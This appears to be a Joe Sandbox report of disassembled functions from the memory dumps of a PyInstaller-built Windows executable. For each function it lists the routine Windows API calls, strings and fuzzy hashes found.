Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: EnvironmentVariable
String ID: OPENSSL_ia32cap$~$~$~$~
API String ID: 1431749950-1981414212
Opcode ID: f54770ac84b8c5300f15358e4cffcff24408fff1c96f1f72ed2546603f76ac2f
Instruction ID: b397c2a27b067a571d703e76a7ce5101cc968c296dd086e591209ebe9bd08ea9
Opcode Fuzzy Hash: f54770ac84b8c5300f15358e4cffcff24408fff1c96f1f72ed2546603f76ac2f
Instruction Fuzzy Hash: 43419D26F0E617C6E710AB01E5619B822E0EB457D4F884135EDAD87AFCEF3CE5859700

Function 00007FF6FB1ECFE8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF6FB1ED29A,?,?,?,00007FF6FB1ECF8C,?,?,?,00007FF6FB1ECB89), ref: 00007FF6FB1ED06D
GetLastError.KERNEL32(?,?,?,00007FF6FB1ED29A,?,?,?,00007FF6FB1ECF8C,?,?,?,00007FF6FB1ECB89), ref: 00007FF6FB1ED07B
LoadLibraryExW.KERNEL32(?,?,?,00007FF6FB1ED29A,?,?,?,00007FF6FB1ECF8C,?,?,?,00007FF6FB1ECB89), ref: 00007FF6FB1ED0A5
FreeLibrary.KERNEL32(?,?,?,00007FF6FB1ED29A,?,?,?,00007FF6FB1ECF8C,?,?,?,00007FF6FB1ECB89), ref: 00007FF6FB1ED113
GetProcAddress.KERNEL32(?,?,?,00007FF6FB1ED29A,?,?,?,00007FF6FB1ECF8C,?,?,?,00007FF6FB1ECB89), ref: 00007FF6FB1ED11F

Strings

api-ms-, xrefs: 00007FF6FB1ED08D

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: ae36e00ef30d4e956021163d7a0c1bae911f6c658fcf96311cd3d9d96979b27c
Instruction ID: a5c4d9d5d5bab91ca0f4aeb956cdfdd91acae7b12b79009de08f85f301f8d72b
Opcode Fuzzy Hash: ae36e00ef30d4e956021163d7a0c1bae911f6c658fcf96311cd3d9d96979b27c
Instruction Fuzzy Hash: 43317A35B1AA4B81EB21DB12A80467D6294BB0CBA8F5A0535DD3D87BE0FE3CF4468300

Function 00007FFDFB003779 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

00007FFE1FFB5630.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFB0A9F26

Strings

nombstr, xrefs: 00007FFDFB0A9E9F
default, xrefs: 00007FFDFB0A9F4A
MASK:, xrefs: 00007FFDFB0A9E5A
utf8only, xrefs: 00007FFDFB0A9F1C
pkix, xrefs: 00007FFDFB0A9EDF

Memory Dump Source

Source File: 00000001.00000002.1990278020.00007FFDFB001000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFB000000, based on PE: true

Associated: 00000001.00000002.1990234767.00007FFDFB000000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB00D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB065000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB079000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB08A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB090000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB09D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB24F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB27A000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2AB000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB2D1000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB31F000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB325000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB327000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB343000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1990278020.00007FFDFB350000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991500652.00007FFDFB354000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.1991539153.00007FFDFB356000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfb000000_e45AiBoV6X.jbxd

Similarity

API ID: 00007B5630
String ID: MASK:$default$nombstr$pkix$utf8only
API String ID: 2248877218-3483942737
Opcode ID: a21ae9ee1a6a80a1cd62bd08bae20b9b71c674710c0f9c2fb243c96c79f53681
Instruction ID: 667cd258f7b7d9297510530cc1b27f503e2de559a7c2cf78ac7d203eb393cbc4
Opcode Fuzzy Hash: a21ae9ee1a6a80a1cd62bd08bae20b9b71c674710c0f9c2fb243c96c79f53681
Instruction Fuzzy Hash: 7A311622B1958392EB418B18E4A0BB87794EB46740F445232EB7E876EADE2CE490C700

Function 00007FF6FB1E7B50 Relevance: 10.6, APIs: 7, Instructions: 63COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6FB1E7B70
OpenProcessToken.ADVAPI32 ref: 00007FF6FB1E7B83
GetTokenInformation.ADVAPI32 ref: 00007FF6FB1E7BA8
GetLastError.KERNEL32 ref: 00007FF6FB1E7BB2
GetTokenInformation.ADVAPI32 ref: 00007FF6FB1E7BF2
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6FB1E7C0E
CloseHandle.KERNEL32 ref: 00007FF6FB1E7C26

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: 8356e17e6427c03366acad688ef96df5430cd8c67dfe58d52091e88c81740b7d
Instruction ID: 9f68bda16038fa0af6870d5dab42bb87e4d3b2bb3bba1e13ac5367b6b9894744
Opcode Fuzzy Hash: 8356e17e6427c03366acad688ef96df5430cd8c67dfe58d52091e88c81740b7d
Instruction Fuzzy Hash: 9D212125E0CA4341EB209B55F59427EA3A5EB897A8F140235EA7DC3AF4EF6CE4498700

Function 00007FF6FB1FA460 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6FB1FA46F
FlsGetValue.KERNEL32 ref: 00007FF6FB1FA484
FlsSetValue.KERNEL32 ref: 00007FF6FB1FA4A5
FlsSetValue.KERNEL32 ref: 00007FF6FB1FA4D2
FlsSetValue.KERNEL32 ref: 00007FF6FB1FA4E3
FlsSetValue.KERNEL32 ref: 00007FF6FB1FA4F4
SetLastError.KERNEL32 ref: 00007FF6FB1FA50F

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f1009f36f4b7e41e642a617816a0843c7a4fdcae41be86a1245b23186b7dd2e
Instruction ID: dc7fb6c9b439329b3f1eebeaee82eec497c0604bf2e99167f223d5535a857021
Opcode Fuzzy Hash: 4f1009f36f4b7e41e642a617816a0843c7a4fdcae41be86a1245b23186b7dd2e
Instruction Fuzzy Hash: 72214C21E5C24342FB68E721965917D61A29F8C7F8F184734E93EC6AF6FE2CA441C701

Function 00007FF6FB1E29E0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6FB1E342E,?,00007FF6FB1E3534), ref: 00007FF6FB1E2A14
FormatMessageW.KERNEL32(?,?,?,00007FF6FB1E342E), ref: 00007FF6FB1E2A7D
MessageBoxW.USER32 ref: 00007FF6FB1E2ACF

Strings

%ls%ls: %ls, xrefs: 00007FF6FB1E2A96
Error, xrefs: 00007FF6FB1E2ABE
<FormatMessageW failed.>, xrefs: 00007FF6FB1E2A83

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Message$ErrorFormatLast
String ID: %ls%ls: %ls$<FormatMessageW failed.>$Error
API String ID: 3971115935-1149178304
Opcode ID: 7223b30dd23a30c2aa7faf0092ff60e4697deebee1b944f1837b883079aee3ab
Instruction ID: 4482e84b6ad5bf65a74e22d03059101e436914d5d6b236a7b2aded1bae0be53d
Opcode Fuzzy Hash: 7223b30dd23a30c2aa7faf0092ff60e4697deebee1b944f1837b883079aee3ab
Instruction Fuzzy Hash: A5212176618A8682E730DB10F5546EE6364FB8C7C8F400136EA9D93AA8EF7CD5568740

Function 00007FF6FB20707C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF6FB2070AD
GetLastError.KERNEL32 ref: 00007FF6FB2070B9
CloseHandle.KERNEL32 ref: 00007FF6FB2070D1
CreateFileW.KERNEL32 ref: 00007FF6FB2070FC
WriteConsoleW.KERNEL32 ref: 00007FF6FB20711B

Strings

CONOUT$, xrefs: 00007FF6FB2070DD

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 274174309ff0e3cf7757a3f5c883333dff1858e51aae267b9afc88cc39a62d3b
Instruction ID: 7b53d6fa7f3dbf827f2a487b1539fd8aa51851257c78a003142cb659cb094a80
Opcode Fuzzy Hash: 274174309ff0e3cf7757a3f5c883333dff1858e51aae267b9afc88cc39a62d3b
Instruction Fuzzy Hash: DE115121A18A4786E7609B56E958339A2A0FB9CBE4F045234EA6EC77F4EF7CD414C740

Function 00007FF6FB1E81F0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,00000000,?,00007FF6FB1E39F2), ref: 00007FF6FB1E821D
K32EnumProcessModules.KERNEL32(?,00000000,?,00007FF6FB1E39F2), ref: 00007FF6FB1E827A

Part of subcall function 00007FF6FB1E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6FB1E3FA4,00000000,00007FF6FB1E1925), ref: 00007FF6FB1E86E9

K32GetModuleFileNameExW.KERNEL32(?,00000000,?,00007FF6FB1E39F2), ref: 00007FF6FB1E8305
K32GetModuleFileNameExW.KERNEL32(?,00000000,?,00007FF6FB1E39F2), ref: 00007FF6FB1E8364
FreeLibrary.KERNEL32(?,00000000,?,00007FF6FB1E39F2), ref: 00007FF6FB1E8375
FreeLibrary.KERNEL32(?,00000000,?,00007FF6FB1E39F2), ref: 00007FF6FB1E838A

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: c116373e2a09e68fc95a37a35a910f387ed59b49a7d0ab4690c2b7d3ff367989
Instruction ID: 15b841edd0ea822cfbb58ef6fca21af6a6028b9fa1b58d3e308299b92fd91964
Opcode Fuzzy Hash: c116373e2a09e68fc95a37a35a910f387ed59b49a7d0ab4690c2b7d3ff367989
Instruction Fuzzy Hash: 7C415E62E19A8381EB70DB11A5442AE6394FB8DBC8F444135DF6D97BE9EE3CE501C700

Function 00007FF6FB1E8400 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FB1E7B50: GetCurrentProcess.KERNEL32 ref: 00007FF6FB1E7B70
Part of subcall function 00007FF6FB1E7B50: OpenProcessToken.ADVAPI32 ref: 00007FF6FB1E7B83
Part of subcall function 00007FF6FB1E7B50: GetTokenInformation.ADVAPI32 ref: 00007FF6FB1E7BA8
Part of subcall function 00007FF6FB1E7B50: GetLastError.KERNEL32 ref: 00007FF6FB1E7BB2
Part of subcall function 00007FF6FB1E7B50: GetTokenInformation.ADVAPI32 ref: 00007FF6FB1E7BF2
Part of subcall function 00007FF6FB1E7B50: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6FB1E7C0E
Part of subcall function 00007FF6FB1E7B50: CloseHandle.KERNEL32 ref: 00007FF6FB1E7C26

LocalFree.KERNEL32(?,00007FF6FB1E3814), ref: 00007FF6FB1E848C
LocalFree.KERNEL32(?,00007FF6FB1E3814), ref: 00007FF6FB1E8495

Strings

D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF6FB1E8462
S-1-3-4, xrefs: 00007FF6FB1E8441
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF6FB1E84A3
D:(A;;FA;;;%s), xrefs: 00007FF6FB1E8477

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 795f95526d0a951be163d7ee57e77295e71c5006ab84a191c0455a0dace466c7
Instruction ID: 8bfa06a4851e46ac826007bb199eff448da766d6db3e1cf6c0b06b7998118862
Opcode Fuzzy Hash: 795f95526d0a951be163d7ee57e77295e71c5006ab84a191c0455a0dace466c7
Instruction Fuzzy Hash: 64212B21E0864381E710EB10E5253FE62A5FB8D784F845435EA6DC3BE6EE3CE545C790

Function 00007FF6FB1FA5D8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6FB1F43FD,?,?,?,?,00007FF6FB1F979A,?,?,?,?,00007FF6FB1F649F), ref: 00007FF6FB1FA5E7
FlsSetValue.KERNEL32(?,?,?,00007FF6FB1F43FD,?,?,?,?,00007FF6FB1F979A,?,?,?,?,00007FF6FB1F649F), ref: 00007FF6FB1FA61D
FlsSetValue.KERNEL32(?,?,?,00007FF6FB1F43FD,?,?,?,?,00007FF6FB1F979A,?,?,?,?,00007FF6FB1F649F), ref: 00007FF6FB1FA64A
FlsSetValue.KERNEL32(?,?,?,00007FF6FB1F43FD,?,?,?,?,00007FF6FB1F979A,?,?,?,?,00007FF6FB1F649F), ref: 00007FF6FB1FA65B
FlsSetValue.KERNEL32(?,?,?,00007FF6FB1F43FD,?,?,?,?,00007FF6FB1F979A,?,?,?,?,00007FF6FB1F649F), ref: 00007FF6FB1FA66C
SetLastError.KERNEL32(?,?,?,00007FF6FB1F43FD,?,?,?,?,00007FF6FB1F979A,?,?,?,?,00007FF6FB1F649F), ref: 00007FF6FB1FA687

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 5dcac91248c0014d458aec840eea87d8b317a92cf5de5997ea3edf93bd94a031
Instruction ID: db631e8db13fb1a6b3ccbb68a75881381014553465a5cd4151cc284b9ed3eefa
Opcode Fuzzy Hash: 5dcac91248c0014d458aec840eea87d8b317a92cf5de5997ea3edf93bd94a031
Instruction Fuzzy Hash: 86114A21E5C24342FB58E7619A5917D22A25F8C7B8F045734D83EC66F6FE2CB801C701

Function 00007FF6FB1E2300 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6FB1E2338
DialogBoxIndirectParamW.USER32 ref: 00007FF6FB1E23FE
DeleteObject.GDI32 ref: 00007FF6FB1E2431
DestroyIcon.USER32 ref: 00007FF6FB1E2443

Strings

Unhandled exception in script, xrefs: 00007FF6FB1E2368

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: aa8fae7967b6237ed58108c0441fa719abaab4bc203e45b59d8227776e6be316
Instruction ID: 78ab12e641600f7cf6fd2a0d0f3732bdc9268598fceeba26a7463725195367fa
Opcode Fuzzy Hash: aa8fae7967b6237ed58108c0441fa719abaab4bc203e45b59d8227776e6be316
Instruction Fuzzy Hash: 18311F76A0968385EB20EF61E9652F96364FF8D788F440135EA5E86BA5EF3CD104C700

Function 00007FF6FB1E2760 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FB1E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6FB1E3FA4,00000000,00007FF6FB1E1925), ref: 00007FF6FB1E86E9

MessageBoxW.USER32 ref: 00007FF6FB1E283B
MessageBoxA.USER32 ref: 00007FF6FB1E284F

Strings

Error/warning (ANSI fallback), xrefs: 00007FF6FB1E2843
Error, xrefs: 00007FF6FB1E282C
%s%s: %s, xrefs: 00007FF6FB1E27EC

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: Message$ByteCharMultiWide
String ID: %s%s: %s$Error$Error/warning (ANSI fallback)
API String ID: 1878133881-640379615
Opcode ID: 185a5ded7e4d76afdc6dde510c40398ff569d270283616bd23a067f5071c39f1
Instruction ID: af085a4454aabcc04595b0d90461438e07fab35b77b42f48f0c653e33665c215
Opcode Fuzzy Hash: 185a5ded7e4d76afdc6dde510c40398ff569d270283616bd23a067f5071c39f1
Instruction Fuzzy Hash: 15212172A1868781E730DB10F4617EE6364FB88788F401136E69D93AE9EF7CE655C740

Function 00007FF6FB1F8DA0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6FB1F8DC5
GetProcAddress.KERNEL32 ref: 00007FF6FB1F8DDB
FreeLibrary.KERNEL32 ref: 00007FF6FB1F8E02

Strings

CorExitProcess, xrefs: 00007FF6FB1F8DD4
mscoree.dll, xrefs: 00007FF6FB1F8DBC

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

Associated: 00000001.00000002.1989488665.00007FF6FB1E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989584297.00007FF6FB20B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB21E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989640265.00007FF6FB223000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1989725163.00007FF6FB226000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6fb1e0000_e45AiBoV6X.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: f1eb0c22b123c1cdb2873c61f44d146b1d21622817f8dd4d6a21f18b4a6e3d93
Instruction ID: 9a6ff5160032f93f13c2f460ae862feda53ae65771ff672f3f30334ae9f44df5
Opcode Fuzzy Hash: f1eb0c22b123c1cdb2873c61f44d146b1d21622817f8dd4d6a21f18b4a6e3d93
Instruction Fuzzy Hash: 15F09625B1970381EB209B24E49837D5320AF8DBA5F581635D57EC61F4EF3DD149D310

Function 00007FF6FB208678 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6FB2086A0
_set_statfp.LIBCMT ref: 00007FF6FB2086BB
_set_statfp.LIBCMT ref: 00007FF6FB2086D7
_set_statfp.LIBCMT ref: 00007FF6FB208713

Memory Dump Source

Source File: 00000001.00000002.1989528263.00007FF6FB1E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FB1E0000, based on PE: true

